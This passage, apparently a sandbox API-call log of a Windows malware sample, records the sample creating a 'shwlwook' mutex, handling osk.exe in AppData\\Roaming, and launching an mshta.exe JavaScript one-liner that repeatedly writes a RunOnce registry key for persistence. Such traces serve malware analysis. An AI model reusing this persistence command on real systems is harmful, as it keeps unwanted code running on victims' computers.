(hMem=0x3f4000c) returned 0 [0250.522] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.522] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.522] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.522] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.523] GlobalLock (hMem=0x3f40004) returned 0x3ada738 [0250.523] GlobalLock (hMem=0x3f4000c) returned 0x3adc748 [0250.523] GlobalHandle (pMem=0x3ada738) returned 0x3f40004 [0250.523] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.523] GlobalHandle (pMem=0x3adc748) returned 0x3f4000c [0250.523] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.523] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.523] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.523] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.523] GlobalLock (hMem=0x3f4000c) returned 0x3ada738 [0250.523] GlobalLock (hMem=0x3f40004) returned 0x3adc748 [0250.523] GlobalHandle (pMem=0x3ada738) returned 0x3f4000c [0250.523] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.523] GlobalHandle (pMem=0x3adc748) returned 0x3f40004 [0250.523] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.523] SHGetMalloc (in: ppMalloc=0x19f134 | out: ppMalloc=0x19f134*=0x75e4d000) returned 0x0 [0250.524] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0x19f130 | out: ppidl=0x19f130) returned 0x0 [0250.701] SHGetPathFromIDListW (in: pidl=0x73aca8, pszPath=0x7ae914 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0250.701] SysReAllocStringLen (in: pbstr=0x19f15c*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x19f15c*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0250.701] IMalloc:Free (This=0x75e4d000, pv=0x73aca8) [0250.701] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0250.702] SysReAllocStringLen (in: pbstr=0x438208*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming", len=0x1f | out: pbstr=0x438208*="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0250.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f398b8, cbMultiByte=7, lpWideCharStr=0x19e130, cchWideChar=2047 | out: lpWideCharStr="osk.exek뤠男ด") returned 7 [0250.702] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.702] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.702] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.702] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.702] GlobalLock (hMem=0x3f4000c) returned 0x3adea58 [0250.702] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.702] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.702] GlobalHandle (pMem=0x3adea58) returned 0x3f4000c [0250.702] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.702] GlobalLock (hMem=0x3f4000c) returned 0x3adca48 [0250.702] GlobalHandle (pMem=0x3adca48) returned 0x3f4000c [0250.702] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.702] GlobalLock (hMem=0x3f4000c) returned 0x3adca48 [0250.702] GlobalLock (hMem=0x3f40004) returned 0x3adea58 [0250.702] GlobalHandle (pMem=0x3adca48) returned 0x3f4000c [0250.702] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.703] GlobalHandle (pMem=0x3adea58) returned 0x3f40004 [0250.703] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.703] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.703] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.703] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.703] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.703] GlobalLock (hMem=0x3f4000c) returned 0x3adea58 [0250.703] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.703] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.703] GlobalHandle (pMem=0x3adea58) returned 0x3f4000c [0250.703] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.703] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f200 | out: phkResult=0x19f200*=0x0) returned 0x2 [0250.710] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0x6da350 [0250.710] FileTimeToLocalFileTime (in: lpFileTime=0x19efd8, lpLocalFileTime=0x19ef58 | out: lpLocalFileTime=0x19ef58) returned 1 [0250.710] FileTimeToDosDateTime (in: lpFileTime=0x19ef58, lpFatDate=0x19efa6, lpFatTime=0x19efa4 | out: lpFatDate=0x19efa6, lpFatTime=0x19efa4) returned 1 [0250.710] FindClose (in: hFindFile=0x6da350 | out: hFindFile=0x6da350) returned 1 [0250.710] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpFindFileData=0x19efc4 | out: lpFindFileData=0x19efc4) returned 0x6da090 [0250.710] FileTimeToLocalFileTime (in: lpFileTime=0x19efd8, lpLocalFileTime=0x19ef58 | out: lpLocalFileTime=0x19ef58) returned 1 [0250.710] FileTimeToDosDateTime (in: lpFileTime=0x19ef58, lpFatDate=0x19efa6, lpFatTime=0x19efa4 | out: lpFatDate=0x19efa6, lpFatTime=0x19efa4) returned 1 [0250.710] FindClose (in: hFindFile=0x6da090 | out: hFindFile=0x6da090) returned 1 [0250.710] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0 [0250.711] GlobalLock (hMem=0x3f4000c) returned 0x3adca48 [0250.711] GlobalHandle (pMem=0x3adca48) returned 0x3f4000c [0250.711] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.711] GlobalLock (hMem=0x3f4000c) returned 0x3adca48 [0250.711] GlobalLock (hMem=0x3f40004) returned 0x3adea58 [0250.711] GlobalHandle (pMem=0x3adca48) returned 0x3f4000c [0250.711] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.711] GlobalHandle (pMem=0x3adea58) returned 0x3f40004 [0250.711] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.711] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="shwlwook") returned 0x380 [0250.711] GetLastError () returned 0x0 [0250.711] SysReAllocStringLen (in: pbstr=0x19f218*=0x0, psz="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", len=0x27 | out: pbstr=0x19f218*="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 1 [0250.712] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.712] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.712] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.712] GlobalLock (hMem=0x3f40004) returned 0x3adca48 [0250.712] GlobalLock (hMem=0x3f4000c) returned 0x3adea58 [0250.712] GlobalHandle (pMem=0x3adca48) returned 0x3f40004 [0250.712] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.712] GlobalHandle (pMem=0x3adea58) returned 0x3f4000c [0250.712] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.712] SysReAllocStringLen (in: pbstr=0x19f150*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject(!WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", len=0xc8 | out: pbstr=0x19f150*="mshta.exe \"javascript:o=new ActiveXObject(!WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"") returned 1 [0250.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject(!WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=200, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject(!WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 200 [0250.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=157, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 157 [0250.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=143, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 143 [0250.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=120, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 120 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=");setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=93, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=");setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"U\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 93 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=51, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"U\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 51 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=").Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=49, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=").Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\";\"o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"U\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 49 [0250.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HKCU\\\\@!,i);}catch(e){}},10);\"", cchWideChar=30, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\\\@!,i);}catch(e){}},10);\";}catch(e){}},10);\";\"o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"U\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 30 [0250.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=",i);}catch(e){}},10);\"", cchWideChar=22, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",i);}catch(e){}},10);\"}},10);\";}catch(e){}},10);\";\"o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"U\\\\@!,i);}catch(e){}},10);\"!,i);}catch(e){}},10);\"ch(e){}},10);\";o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 22 [0250.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.715] SysReAllocStringLen (in: pbstr=0x19f1b0*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"", len=0xc8 | out: pbstr=0x19f1b0*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"") returned 1 [0250.715] SysReAllocStringLen (in: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject(!WScript.Shell!);x=new ActiveXObject(!Scripting.FileSystemObject!);setInterval(function(){try{i=x.GetFile(!#!).Path;o.RegWrite(!HKCU\\\\@!,i);}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"", len=0xc8 | out: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"") returned 1 [0250.715] GlobalLock (hMem=0x3f4000c) returned 0x3add260 [0250.715] GlobalHandle (pMem=0x3add260) returned 0x3f4000c [0250.715] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.715] GlobalLock (hMem=0x3f4000c) returned 0x3add260 [0250.716] GlobalLock (hMem=0x3f40004) returned 0x3adf270 [0250.716] GlobalHandle (pMem=0x3add260) returned 0x3f4000c [0250.716] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.716] GlobalHandle (pMem=0x3adf270) returned 0x3f40004 [0250.716] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.716] GlobalLock (hMem=0x3f40004) returned 0x3add260 [0250.716] GlobalHandle (pMem=0x3add260) returned 0x3f40004 [0250.716] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.716] GlobalLock (hMem=0x3f40004) returned 0x3add260 [0250.716] GlobalLock (hMem=0x3f4000c) returned 0x3adf270 [0250.716] GlobalHandle (pMem=0x3add260) returned 0x3f40004 [0250.716] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.716] GlobalHandle (pMem=0x3adf270) returned 0x3f4000c [0250.716] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.722] SysReAllocStringLen (in: pbstr=0x19f150*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"", len=0xc8 | out: pbstr=0x19f150*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"") returned 1 [0250.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"", cchWideChar=200, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 200 [0250.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="',i);}catch(e){}},10);\"", cchWideChar=23, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="',i);}catch(e){}},10);\"=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"i", lpUsedDefaultChar=0x0) returned 23 [0250.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="@ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.723] SysReAllocStringLen (in: pbstr=0x19f1ac*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", len=0x106 | out: pbstr=0x19f1ac*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned 1 [0250.723] SysReAllocStringLen (in: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\@',i);}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", len=0x106 | out: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned 1 [0250.724] SysReAllocStringLen (in: pbstr=0x19f150*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", len=0x106 | out: pbstr=0x19f150*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned 1 [0250.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", cchWideChar=262, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"m", lpUsedDefaultChar=0x0) returned 262 [0250.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", cchWideChar=112, lpMultiByteStr=0x19e11c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"Interval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"m", lpUsedDefaultChar=0x0) returned 112 [0250.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x19e118, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.724] SysReAllocStringLen (in: pbstr=0x19f198*=0x0, psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", len=0x10c | out: pbstr=0x19f198*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned 1 [0250.725] SysReAllocStringLen (in: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('#').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", len=0x10c | out: pbstr=0x19f20c*="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned 1 [0250.725] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, 